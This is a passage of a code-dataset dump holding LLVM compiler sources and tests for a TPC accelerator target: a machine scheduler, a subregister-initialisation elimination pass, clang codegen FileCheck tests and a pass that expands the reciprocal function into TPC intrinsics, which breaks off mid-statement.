TPCSchedStrategy::TPCSchedBoundary::bumpCycle() {\n LLVM_DEBUG(dbgs() << \"*** \" << getName() << \" bumpCycle \\n\";);\n unsigned Width = SchedModel->getIssueWidth();\n IssueCount = (IssueCount <= Width) ? 0 : IssueCount - Width;\n\n assert(MinReadyCycle < UINT_MAX && \"MinReadyCycle uninitialized\");\n unsigned NextCycle = std::max(CurrCycle + 1, MinReadyCycle);\n LLVM_DEBUG(dbgs() << \" NextCycle=\" << NextCycle << \"\\n\";);\n\n if (!HazardRec->isEnabled()) {\n // Bypass HazardRec virtual calls.\n CurrCycle = NextCycle;\n } else {\n // Bypass getHazardType calls in case of long latency.\n for (; CurrCycle != NextCycle; ++CurrCycle) {\n if (isTop())\n HazardRec->AdvanceCycle();\n else\n HazardRec->RecedeCycle();\n }\n }\n LLVM_DEBUG(dbgs() << \"*** \" << getName() << \" Next cycle \" << CurrCycle << '\\n');\n}\n\nvoid TPCSchedStrategy::TPCSchedBoundary::bumpNode(SUnit *SU, bool isPostRA) {\n bool startNewCycle = false;\n\n MachineInstr *MI = SU->getInstr();\n (void)MI;\n LLVM_DEBUG(dbgs() << \"*** \" << getName() << \" bumpNode: \" << *MI);\n\n // Update the reservation table.\n if (HazardRec->isEnabled()) {\n if (HazardRec->getHazardType(SU) != ScheduleHazardRecognizer::NoHazard) {\n const TPCInstrInfo * TII = DAG->MF.getSubtarget<TPCSubtarget>().getInstrInfo();\n std::vector<unsigned> alt_opcodes;\n if (TII->getOtherSlotOpcodes(SU->getInstr(), alt_opcodes)) {\n\t unsigned opc_orig = SU->getInstr()->getOpcode();\n bool changed = false;\n\t for (auto opc : alt_opcodes) {\n SU->getInstr()->setDesc(TII->get(opc));\n if (HazardRec->getHazardType(SU) == ScheduleHazardRecognizer::NoHazard) {\n\t changed = true;\n\t break;\n }\n\t }\n\t if (!changed) {\n SU->getInstr()->setDesc(TII->get(opc_orig));\n startNewCycle = true;\n\t }\n\t}\n\telse {\n startNewCycle = true;\n\t}\n }\n else {\n if (SU->TopReadyCycle > CurrCycle) {\n startNewCycle = true;\n\t MinReadyCycle = SU->TopReadyCycle;\n }\n if (SU->getInstr()->isPseudo() && SU->getInstr()->isCopy() &&\n ResourceModel->getCurPacketSize() >= 2) {\n startNewCycle = true;\n }\n }\n }\n\n // Check the instruction group dispatch limit.\n // TODO: Check if this SU must end a dispatch group.\n IssueCount += SchedModel->getNumMicroOps(SU->getInstr());\n if (startNewCycle) {\n LLVM_DEBUG(dbgs() << \"*** Starting new instr at cycle \" << CurrCycle << '\\n');\n bumpCycle();\n }\n else {\n LLVM_DEBUG(dbgs() << \"*** \" << getName() << \" IssueCount \" << IssueCount\n << \" at cycle \" << CurrCycle << '\\n');\n }\n if (HazardRec->isEnabled()) {\n HazardRec->EmitInstruction(SU);\n }\n}\n\n\nnamespace llvm {\n\nScheduleDAGInstrs *createTPCMachineScheduler(MachineSchedContext *C) {\n return new TPCMachineScheduler(C, std::make_unique<TPCSchedStrategy>());\n}\n\nScheduleDAGInstrs *createTPCPostMachineScheduler(MachineSchedContext *C) {\n //return new TPCMachineScheduler(C, llvm::make_unique<TPCSchedStrategy>());\n //return new ScheduleDAGMI(C, make_unique<PostGenericScheduler>(C), /*RemoveKillFlags=*/true);\n ScheduleDAGMI* DAG = new ScheduleDAGMI(C, std::make_unique<TPCPostRASchedStrategy>(), /*RemoveKillFlags=*/true);\n DAG->addMutation(std::make_unique<TPCSubtarget::TPCDAGMutation>());\n return DAG;\n}\n\n// Register tpc scheduler so that it can be specified in command line.\nstatic MachineSchedRegistry\nTPCSchedulerRegistry(\"tpc\", \"Run TPC's custom scheduler\",\n createTPCMachineScheduler);\n\n}\n" }, { "alpha_fraction": 0.49861496686935425, "alphanum_fraction": 0.5872576236724854, "avg_line_length": 31.81818199157715, "blob_id": "51e98f10159c947b7c09c29c7b8cf74df7e286f2", "content_id": "f81670e8af3a98ac9f0966fab62154649d207019", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 361, "license_type": "permissive", "max_line_length": 91, "num_lines": 11, "path": "/clang/test/RC99/CodeGen/pred-15.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -triple tpc-none-none -std=rc99 -S -O1 -tpc-special %s -o - | FileCheck %s\n\nvoid main(int dest, int src1, int src2) {\n char256 a = *(char256 __local *)src1;\n char256 b = *(char256 __local *)src2;\n int256 acc = { 0, 0, 0, 0 };\n acc = av_i8_mac_v_v_b(a, b, acc, e_no_saturation, 1, 1);\n *(int256 __local *)dest = acc;\n}\n\n// CHECK-NOT: MAC.B\n" }, { "alpha_fraction": 0.676996648311615, "alphanum_fraction": 0.6790765523910522, "avg_line_length": 31.707483291625977, "blob_id": "9941204d5e28558533e83ca20c5fac53c99350f2", "content_id": "4ecf8a056c02be94ea86c50228658dcc2fcd2dfe", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4808, "license_type": "permissive", "max_line_length": 107, "num_lines": 147, "path": "/llvm/lib/Target/TPC/TPCSubregInitElimination.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===---- TPCSubregInitElimination.cpp -Eliminates Dead Subregister Initialization -===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===-------------------------------------------------------------------------------===//\n//\n//===-------------------------------------------------------------------------------===//\n\n#include \"TPCInstrInfo.h\"\n#include \"TPCSubtarget.h\"\n#include \"TPCTargetMachine.h\"\n#include \"llvm/ADT/SmallSet.h\"\n#include \"llvm/CodeGen/MachineRegisterInfo.h\"\n#include \"llvm/CodeGen/MachineInstrBuilder.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"MCTargetDesc/TPCMCInstrInfo.h\"\n\n#define DEBUG_TYPE \"subregelim\"\n\nusing namespace llvm;\n\nnamespace llvm {\nFunctionPass *createTPCSubregInitElimination();\nvoid initializeTPCSubregInitEliminationPass(PassRegistry&);\n}\n\nstatic const char PassDescription[] = \"TPC Eliminate subregister initialization\";\nstatic const char PassName[] = \"tpc-subreg\";\n\nstatic cl::opt<bool>\nEnableTPCSubregInitElimination(\"dead-subreg-elimination\",\n cl::desc(PassDescription),\n cl::init(true), cl::Hidden);\n\nnamespace {\nclass TPCSubregInitElimination : public MachineFunctionPass {\n MachineFunction *MF;\n MachineRegisterInfo *MRI;\n const TargetRegisterInfo *TRI;\n const TargetInstrInfo *TII;\n SmallSet<MachineInstr *, 4> SubregInstrs;\n\npublic:\n static char ID;\n\n StringRef getPassName() const override { return PassDescription; }\n\n TPCSubregInitElimination() : MachineFunctionPass(ID) {\n\t initializeTPCSubregInitEliminationPass(*PassRegistry::getPassRegistry());\n }\n\n bool runOnMachineFunction(MachineFunction &MF) override;\n bool removeInitialization(MachineInstr *Instr,unsigned SubregCount);\n bool hasUses(MachineInstr *Instr, unsigned DefRegNo, unsigned SubregCount);\n void replaceRegister(unsigned DefRegNo, unsigned NewRegNo);\n};\n}\n\nchar TPCSubregInitElimination::ID = 0;\n\nINITIALIZE_PASS(TPCSubregInitElimination, PassName, PassDescription, false, false)\n\nFunctionPass *llvm::createTPCSubregInitElimination() {\n return new TPCSubregInitElimination();\n}\n\n\nvoid TPCSubregInitElimination::replaceRegister(unsigned DefRegNo, unsigned NewRegNo) {\n assert(DefRegNo != NewRegNo && \"Cannot replace a reg with itself\");\n\n for (auto I = MRI->use_begin(DefRegNo), E = MRI->use_end(); I != E; ) {\n\tMachineOperand &O = *I;\n\t++I;\n\tif (SubregInstrs.count(O.getParent()) || !O.isTied())\n\t continue;\n\tassert(O.isReg());\n\tassert(O.getReg() == DefRegNo);\n\tassert(!O.isDef());\n\tO.setReg(NewRegNo);\n }\n}\n\nbool TPCSubregInitElimination::hasUses(MachineInstr *FirstInstr, unsigned DefRegNo, unsigned SubregCount) {\n MachineBasicBlock *BB = FirstInstr->getParent();\n MachineBasicBlock::iterator I = FirstInstr;\n I++;\n for(MachineBasicBlock::iterator End = BB->end(); I != End;) {\n if (SubregCount == 0) {\n return false;\n }\n MachineInstr *Instr = &(*I++);\n for(auto MO : Instr->uses()) {\n if(!MO.isReg() || MO.getReg() != DefRegNo) continue;\n if (Instr->getOpcode() == FirstInstr->getOpcode()) {\n SubregCount--;\n \tunsigned UseOpIdx = Instr->findRegisterUseOperandIdx(MO.getReg());\n DefRegNo = Instr->getOperand(Instr->findTiedOperandIdx(UseOpIdx)).getReg();\n SubregInstrs.insert(Instr);\n } else {\n return true;\n\t }\n\t}\n }\n return SubregCount != 0;\n}\n\n\nbool TPCSubregInitElimination::removeInitialization(MachineInstr *FirstInstr, unsigned SubregCount) {\n SubregInstrs.clear();\n for(unsigned i = 0; i < FirstInstr->getNumOperands(); i++) {\n MachineOperand MO = FirstInstr->getOperand(i);\n if(!MO.isReg() || !MO.isUse() || !MO.isTied()) continue;\n unsigned DefRegNo = FirstInstr->getOperand(FirstInstr->findTiedOperandIdx(i)).getReg();\n if (!hasUses(FirstInstr, DefRegNo, (SubregCount-1))) {\n MachineBasicBlock::iterator I = FirstInstr;\n unsigned v_reg = MRI->createVirtualRegister(MRI->getRegClass(MO.getReg()));\n BuildMI(*(FirstInstr->getParent()), --I, DebugLoc(), TII->get(TargetOpcode::IMPLICIT_DEF), v_reg);\n replaceRegister(MO.getReg(), v_reg);\n return true;\n }\n }\n return false;\n}\n\n\nbool TPCSubregInitElimination::runOnMachineFunction(MachineFunction &Func) {\n if (!EnableTPCSubregInitElimination)\n return false;\n\n MF = &Func;\n MRI = &MF->getRegInfo();\n TII = MF->getSubtarget().getInstrInfo();\n TRI = MF->getSubtarget().getRegisterInfo();\n SubregInstrs.clear();\n bool Changed = false;\n for (auto &BB : Func) {\n for (auto &I : BB) {\n if (unsigned SubregCount = TPCII::getLanesCount(I.getDesc())) {\n if (removeInitialization(&I, SubregCount))\n Changed = true;\n }\n }\n }\n return Changed;\n}\n" }, { "alpha_fraction": 0.493261456489563, "alphanum_fraction": 0.5700808763504028, "avg_line_length": 34.33333206176758, "blob_id": "22268d85e74ab6d321401c14c6c4de6c55bed431", "content_id": "37a2d1a18e43fd6f994b2e481262d3f5455a9537", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 742, "license_type": "permissive", "max_line_length": 131, "num_lines": 21, "path": "/clang/test/RC99/IntrinsicsM/and/s_f32_and_s_s.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -bfloat16 -target-cpu gaudi %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n\nvoid main(float x0, float x1, int dest0, int dest1)\n{\n \n \n \n float __local *res0 = (float __local *)dest0;\n float temp_res0 = 0;\n temp_res0 = s_f32_and_s_s(x0, x1);\n *res0 = temp_res0;\n \n float __local *res1 = (float __local *)dest1;\n float temp_res1 = 0;\n temp_res1 = s_f32_and_s_s(x0, 8.);\n *res1 = temp_res1;\n}\n//CHECK-ASM: .globl main\n//CHECK-ASM-DAG: and.f32 %S{{[0-9]+}}, %S{{[0-9]+}}, %S{{[0-9]+}}\n//CHECK-ASM-DAG: and.f32 %S{{[0-9]+}}, %S{{[0-9]+}}, 0x41000000\n" }, { "alpha_fraction": 0.5525033473968506, "alphanum_fraction": 0.6338967084884644, "avg_line_length": 43.96057891845703, "blob_id": "4abe2dcb56040a9bdae95c3c0d338d804b5f7e5e", "content_id": "0fe14c02c77b60bfe949937eed7bc984e2c02cbc", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 185912, "license_type": "permissive", "max_line_length": 82, "num_lines": 4135, "path": "/llvm/lib/Transforms/Scalar/EvalSpecialFunctionPass.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===---------------------------- ExpandSpecialFunction.cpp ----------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===------------------------------------------------------------------------===//\n// Expand special function definition for TPC\n//===------------------------------------------------------------------------===//\n\n#include \"llvm/Transforms/Scalar/EvalSpecialFunctionPass.h\"\n#include \"llvm/Analysis/VectorUtils.h\"\n#include \"llvm/Transforms/Scalar.h\"\n\nchar EvalSpecialFunctionPass::ID = 0;\nstatic cl::opt<bool> EvalSpclFunc(\"eval-special-function\",\n cl::desc(\"Evaluate Special Funtion IR\"),\n cl::init(true), cl::ZeroOrMore, cl::Hidden);\n\nstatic std::string getTPCIntrinsicName(Intrinsic::ID IDNum,\n FunctionType *FType) {\n SmallVector<Intrinsic::IITDescriptor, 8> Table;\n Intrinsic::getIntrinsicInfoTableEntries(IDNum, Table);\n ArrayRef<Intrinsic::IITDescriptor> TableRef = Table;\n (void)TableRef;\n SmallVector<Type *, 4> ArgTys;\n Intrinsic::matchIntrinsicSignature(FType, TableRef, ArgTys);\n return Intrinsic::getName(IDNum, ArgTys);\n}\n\nConstant *EvalSpecialFunctionPass::getBfloatValue(double V) {\n APFloat APF(V);\n bool unused;\n APF.convert(APFloat::BFloat16(), APFloat::rmNearestTiesToEven, &unused);\n return ConstantFP::get(BF16Type->getContext(), APF);\n}\n\nvoid EvalSpecialFunctionPass::replaceBF16ReciprocalWithTPCIntrinsics(\n Module &M, Instruction *InstrToReplace) {\n IRBuilder<> Builder(InstrToReplace);\n Value *Operand = InstrToReplace->getOperand(0);\n\n // Helper Values.\n auto Sw11 = ConstantInt::get(I8Type, 1);\n auto Sw2 = ConstantInt::get(I32Type, 0);\n auto Predicate = ConstantInt::get(I1Type, 1);\n auto Polarity = ConstantInt::get(I1Type, 0);\n\n // %3 = tail call <128 x bfloat> @llvm.tpc.fclass\n // <128 x bfloat> %2, i8 1, i32 0, <128 x bfloat> undef, i1 true, i1 false\n SmallVector<Type *, 6> Types = {Bfloat128Type, I8Type, I32Type,\n Bfloat128Type, I1Type, I1Type};\n auto FType = FunctionType::get(Bfloat128Type, Types, false);\n auto Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_fclass, FType),\n FType)\n .getCallee());\n auto FClass = Builder.CreateCall(Intrinsic, {Operand, Sw11, Sw2,\n UndefValue::get(Bfloat128Type),\n Predicate, Polarity});\n\n // %4 = bitcast <128 x bfloat> %2 to <128 x i16>\n auto BitCast = Builder.CreateBitCast(Operand, Short128Type);\n\n // %5 = tail call <128 x i16> @llvm.tpc.and\n // (<128 x i16> %4, i16 32640, i8 7, i32 0, <128 x i16> undef, i1 true, i1\n // false\n Types = {Short128Type, I16Type, I8Type, I32Type,\n Short128Type, I1Type, I1Type};\n FType = FunctionType::get(Short128Type, Types, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_and, FType), FType)\n .getCallee());\n auto And = Builder.CreateCall(\n Intrinsic,\n {BitCast, ConstantInt::get(I16Type, 32640), ConstantInt::get(I8Type, 7),\n Sw2, UndefValue::get(Short128Type), Predicate, Polarity});\n\n // %6 = tail call <128 x bfloat> @llvm.tpc.form.fp.num\n // (<128 x bfloat> <bfloat> <128 x bfloat> %2, <128 x bfloat> %2, i8 1, i32\n // 512, <128 x bfloat> undef, i1 true, i1 false)\n Types = {Bfloat128Type, Bfloat128Type, Bfloat128Type, I8Type,\n I32Type, Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_form_fp_num, FType), FType)\n .getCallee());\n auto FormFP = Builder.CreateCall(\n Intrinsic, {ConstantVector::getSplat(128, getBfloatValue(1.0)), Operand,\n Operand, Sw11, ConstantInt::get(I32Type, 512),\n UndefValue::get(Bfloat128Type), Predicate, Polarity});\n\n // %7 = tail call <256 x i16> @llvm.tpc.get.lut.entry\n // <128 x bfloat> %6, i8 5, i8 1, i32 0, <256 x i16> undef, i1 true, i1 false\n Types = {Bfloat128Type, I8Type, I8Type, I32Type,\n Short256Type, I1Type, I1Type};\n FType = FunctionType::get(Short256Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_get_lut_entry, FType), FType)\n .getCallee());\n auto LutEntry = Builder.CreateCall(\n Intrinsic, {FormFP, ConstantInt::get(I8Type, 5),\n ConstantInt::get(I8Type, 1), ConstantInt::get(I32Type, 0),\n UndefValue::get(Short256Type), Predicate, Polarity});\n\n // %8 = shufflevector <256 x i16> %7 0...127\n auto Mask = createSequentialMask(Builder, 0, 128, 0);\n auto Shuffle1 = Builder.CreateShuffleVector(\n LutEntry, UndefValue::get(Short256Type), Mask);\n\n // %9 = shufflevector <256 x i16> %7 128...255\n Mask = createSequentialMask(Builder, 128, 128, 0);\n auto Shuffle2 = Builder.CreateShuffleVector(\n LutEntry, UndefValue::get(Short256Type), Mask);\n\n // %10 = bitcast <128 x i16> %9 to <128 x bfloat>\n auto BitCast1 = Builder.CreateBitCast(Shuffle2, Bfloat128Type);\n\n // %11 = fsub <128 x bfloat> %6, %10\n auto FSub = Builder.CreateFSub(FormFP, BitCast1);\n\n // %12 = tail call <128 x bfloat> @llvm.tpc.lookup.1c\n // <128 x i16> %8, i32 405, i32 1, <128 x bfloat> zeroinitializer, i1 true, i1\n // false\n Types = {Short128Type, I32Type, I32Type, Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_lookup_1c, FType), FType)\n .getCallee());\n auto Lookup1 = Builder.CreateCall(\n Intrinsic,\n {Shuffle1, ConstantInt::get(I32Type, 405), ConstantInt::get(I32Type, 1),\n Constant::getNullValue(Bfloat128Type), Predicate, Polarity});\n\n // %13 = tail call <256 x bfloat> @llvm.tpc.lookup.2c\n // <128 x i16> %8, i32 402, i32 1, <256 x bfloat> zeroinitializer, i1 true, i1\n // false\n Types = {Short128Type, I32Type, I32Type, Bfloat256Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat256Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_lookup_2c, FType), FType)\n .getCallee());\n auto Lookup2 = Builder.CreateCall(\n Intrinsic,\n {Shuffle1, ConstantInt::get(I32Type, 402), ConstantInt::get(I32Type, 1),\n Constant::getNullValue(Bfloat256Type), Predicate, Polarity});\n\n // %C1C2.sroa.0.256.vec.extract.i = shufflevector <256 x bfloat> %13,\n // 128...255\n Mask = createSequentialMask(Builder, 128, 128, 0);\n auto Shuffle3 = Builder.CreateShuffleVector(\n Lookup2, UndefValue::get(Bfloat256Type), Mask);\n\n // %C1C2.sroa.0.0.vec.extract.i = shufflevector <256 x bfloat> %13 0...128\n Mask = createSequentialMask(Builder, 0, 128, 0);\n auto Shuffle4 = Builder.CreateShuffleVector(\n Lookup2, UndefValue::get(Bfloat256Type), Mask);\n\n // %14 = tail call <128 x bfloat> @llvm.tpc.mac\n // <128 x bfloat> %C1C2.sroa.0.256.vec.extract.i, <128 x bfloat> %11, i8 1,\n // i32 0, <128 x bfloat> %C1C2.sroa.0.0.vec.extract.i, i1 true, i1 false)\n Types = {Bfloat128Type, Bfloat128Type, I8Type, I32Type,\n Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_mac, FType), FType)\n .getCallee());\n auto Mac1 = Builder.CreateCall(\n Intrinsic, {Shuffle3, FSub, Sw11, Sw2, Shuffle4, Predicate, Polarity});\n\n // %15 = tail call <128 x bfloat> @llvm.tpc.mac\n // (<128 x bfloat> %14, <128 x bfloat> %11, i8 1, i32 0, <128 x bfloat> %12,\n // i1 true, i1 false)\n auto Mac2 = Builder.CreateCall(\n Intrinsic, {Mac1, FSub, Sw11, Sw2, Lookup1, Predicate, Polarity});\n\n // %16 = bitcast <128 x bfloat> %15 to <128 x i16>\n auto BitCast2 = Builder.CreateBitCast(Mac2, Short128Type);\n\n // %17 = tail call <128 x i16> @llvm.tpc.and\n // (<128 x i16> %16, i16 32640, i8 8, i32 0, <128 x i16> undef, i1 true, i1\n // false\n Types = {Short128Type, I16Type, I8Type, I32Type,\n Short128Type, I1Type, I1Type};\n FType = FunctionType::get(Short128Type, Types, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_and, FType), FType)\n .getCallee());\n auto And2 = Builder.CreateCall(\n Intrinsic,\n {BitCast2, ConstantInt::get(I16Type, 32640), ConstantInt::get(I8Type, 8),\n Sw2, UndefValue::get(Short128Type), Predicate, Polarity});\n\n // %18 = tail call <128 x i16> @llvm.tpc.add\n // (<128 x i16> %17, i16 16256, i8 8, i32 0, <128 x i16> undef, i1 true, i1\n // false\n Types = {Short128Type, I16Type, I8Type, I32Type,\n Short128Type, I1Type, I1Type};\n FType = FunctionType::get(Short128Type, Types, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_add, FType), FType)\n .getCallee());\n auto Add1 = Builder.CreateCall(\n Intrinsic,\n {And2, ConstantInt::get(I16Type, 16256), ConstantInt::get(I8Type, 8), Sw2,\n UndefValue::get(Short128Type), Predicate, Polarity});\n\n // %19 = tail call <128 x i16> @llvm.tpc.sub\n // <128 x i16> %18, <128 x i16> %5, i8 8, i32 1, <128 x i16> undef, i1 true,\n // i1 false\n Types = {Short128Type, Short128Type, I8Type, I32Type,\n Short128Type, I1Type, I1Type};\n FType = FunctionType::get(Short128Type, Types, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_sub, FType), FType)\n .getCallee());\n auto Sub1 = Builder.CreateCall(\n Intrinsic,\n {Add1, And, ConstantInt::get(I8Type, 8), ConstantInt::get(I32Type, 1),\n UndefValue::get(Short128Type), Predicate, Polarity});\n\n // %20 = bitcast <128 x i16> %19 to <128 x bfloat>\n auto BitCast3 = Builder.CreateBitCast(Sub1, Bfloat128Type);\n\n // %21 = tail call <128 x bfloat> @llvm.tpc.form.fp.num\n // <128 x bfloat> %20, <128 x bfloat> %2, <128 x bfloat> %15, i8 1, i32 0,\n // <128 x bfloat> undef, i1 true, i1 false)\n Types = {Bfloat128Type, Bfloat128Type, Bfloat128Type, I8Type,\n I32Type, Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_form_fp_num, FType), FType)\n .getCallee());\n auto FormFP1 = Builder.CreateCall(\n Intrinsic, {BitCast3, Operand, Mac2, Sw11, Sw2,\n UndefValue::get(Bfloat128Type), Predicate, Polarity});\n\n // %22 = tail call <128 x bfloat> @llvm.tpc.calc.fp.special\n // <128 x bfloat> %3, <128 x bfloat> undef, i8 1, i32 0, <128 x bfloat> %21,\n // i1 true, i1 false)\n Types = {Bfloat128Type, Bfloat128Type, I8Type, I32Type,\n Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_calc_fp_special, FType), FType)\n .getCallee());\n auto CalcFP = Builder.CreateCall(\n Intrinsic,\n {FClass, UndefValue::get(Bfloat128Type), ConstantInt::get(I8Type, 1),\n ConstantInt::get(I32Type, 0), FormFP1, Predicate, Polarity});\n\n InstrToReplace->replaceAllUsesWith(CalcFP);\n InstrToReplace->eraseFromParent();\n}\n\nvoid EvalSpecialFunctionPass::replaceReciprocalWithTPCIntrinsics(\n Module &M, Instruction *InstrToReplace) {\n IRBuilder<> Builder(InstrToReplace);\n Value *Operand = InstrToReplace->getOperand(0);\n\n // Helper Values.\n auto Sw10 = ConstantInt::get(I8Type, 0);\n auto Sw2 = ConstantInt::get(I32Type, 0);\n auto Predicate = ConstantInt::get(I1Type, 1);\n auto Polarity = ConstantInt::get(I1Type, 0);\n\n // %3 = bitcast <64 x float> %2 to <64 x i32>\n auto BitCast = Builder.CreateBitCast(Operand, Int64Type);\n\n // %4 = tail call <64 x float> @llvm.tpc.form.fp.num\n // (<256 x i8> zeroinitializer, <64 x float> %2, <64 x float> %2, i8 0, i32\n // 2816, <64 x float> undef, i1 true, i1 false)\n SmallVector<Type *, 6> Types = {I8256Type, Float64Type, Float64Type, I8Type,\n I32Type, Float64Type, I1Type, I1Type};\n auto FType = FunctionType::get(Float64Type, Types, false);\n auto Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_form_fp_num, FType), FType)\n .getCallee());\n auto FormFP = Builder.CreateCall(\n Intrinsic, {Constant::getNullValue(I8256Type), Operand, Operand, Sw10,\n ConstantInt::get(I32Type, 2816), UndefValue::get(Float64Type),\n Predicate, Polarity});\n\n // %5 = tail call <128 x i32> @llvm.tpc.get.lut.entry\n // (<64 x float> %4, i8 16, i8 0, i32 0, <128 x i32> undef, i1 true, i1 false)\n Types = {Float64Type, I8Type, I8Type, I32Type, Int128Type, I1Type, I1Type};\n FType = FunctionType::get(Int128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_get_lut_entry, FType), FType)\n .getCallee());\n auto LutEntry = Builder.CreateCall(\n Intrinsic, {FormFP, ConstantInt::get(I8Type, 16), Sw10, Sw2,\n UndefValue::get(Int128Type), Predicate, Polarity});\n\n // %6 = shufflevector <128 x i32> %5, 0...63\n auto Mask = createSequentialMask(Builder, 0, 64, 0);\n auto Shuffle1 =\n Builder.CreateShuffleVector(LutEntry, UndefValue::get(Int128Type), Mask);\n\n // %7 = shufflevector <128 x i32> %5, 64...127\n Mask = createSequentialMask(Builder, 64, 64, 0);\n auto Shuffle2 =\n Builder.CreateShuffleVector(LutEntry, UndefValue::get(Int128Type), Mask);\n\n // %8 = bitcast <64 x i32> %7 to <64 x float>\n auto BitCast1 = Builder.CreateBitCast(Shuffle2, Float64Type);\n\n // %sub.i.i = fsub <64 x float> %4, %8\n auto Subii = Builder.CreateFSub(FormFP, BitCast1);\n\n // %9 = tail call <64 x float> @llvm.tpc.lookup.1c\n // (<64 x i32> %6, i32 129, i32 0, <64 x float> undef, i1 true, i1 false)\n Types = {Int64Type, I32Type, I32Type, Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_lookup_1c, FType), FType)\n .getCallee());\n auto Lookup1 = Builder.CreateCall(\n Intrinsic, {Shuffle1, ConstantInt::get(I32Type, 129), Sw2,\n UndefValue::get(Float64Type), Predicate, Polarity});\n\n // %10 = tail call <128 x float> @llvm.tpc.lookup.2c\n // (<64 x i32> %6, i32 17, i32 0, <128 x float> undef, i1 true, i1 false)\n Types = {Int64Type, I32Type, I32Type, Float128Type, I1Type, I1Type};\n FType = FunctionType::get(Float128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_lookup_2c, FType), FType)\n .getCallee());\n auto Lookup2 = Builder.CreateCall(\n Intrinsic, {Shuffle1, ConstantInt::get(I32Type, 129), Sw2,\n UndefValue::get(Float128Type), Predicate, Polarity});\n\n // %11 = shufflevector <128 x float> %10, 0...63\n Mask = createSequentialMask(Builder, 0, 64, 0);\n auto Shuffle3 =\n Builder.CreateShuffleVector(Lookup2, UndefValue::get(Float128Type), Mask);\n\n // %12 = shufflevector <128 x float> %10, 64...128\n Mask = createSequentialMask(Builder, 64, 64, 0);\n auto Shuffle4 =\n Builder.CreateShuffleVector(Lookup2, UndefValue::get(Float128Type), Mask);\n\n // %13 = tail call <64 x float> @llvm.tpc.mac\n // (<64 x float> %12, <64 x float> %sub.i.i, i8 0, i32 0, <64 x float> %11, i1\n // true, i1 false)\n Types = {Float64Type, Float64Type, I8Type, I32Type,\n Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, Types, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_mac, FType), FType)\n .getCallee());\n auto Mac1 = Builder.CreateCall(\n Intrinsic, {Shuffle4, Subii, Sw10, Sw2, Shuffle3, Predicate, Polarity});\n\n // %14 = tail call <64 x float> @llvm.tpc.mac\n // (<64 x float> %13, <64 x float> %sub.i.i, i8 0, i32 0, <64 x float> %9, i1\n // true, i1 false)\n auto Mac2 = Builder.CreateCall(\n Intrinsic, {Mac1, Subii, Sw10, Sw2, Lookup1, Predicate, Polarity});\n\n // %15 = bitcast <64 x float> %14 to <64 x i32>\n auto BitCast2 = Builder.CreateBitCast(Mac2, Int64Type);\n\n // %and.i.i = and <64 x i32> %15, <i32 2139095040...\n auto Andii = Builder.CreateAnd(\n BitCast2,\n 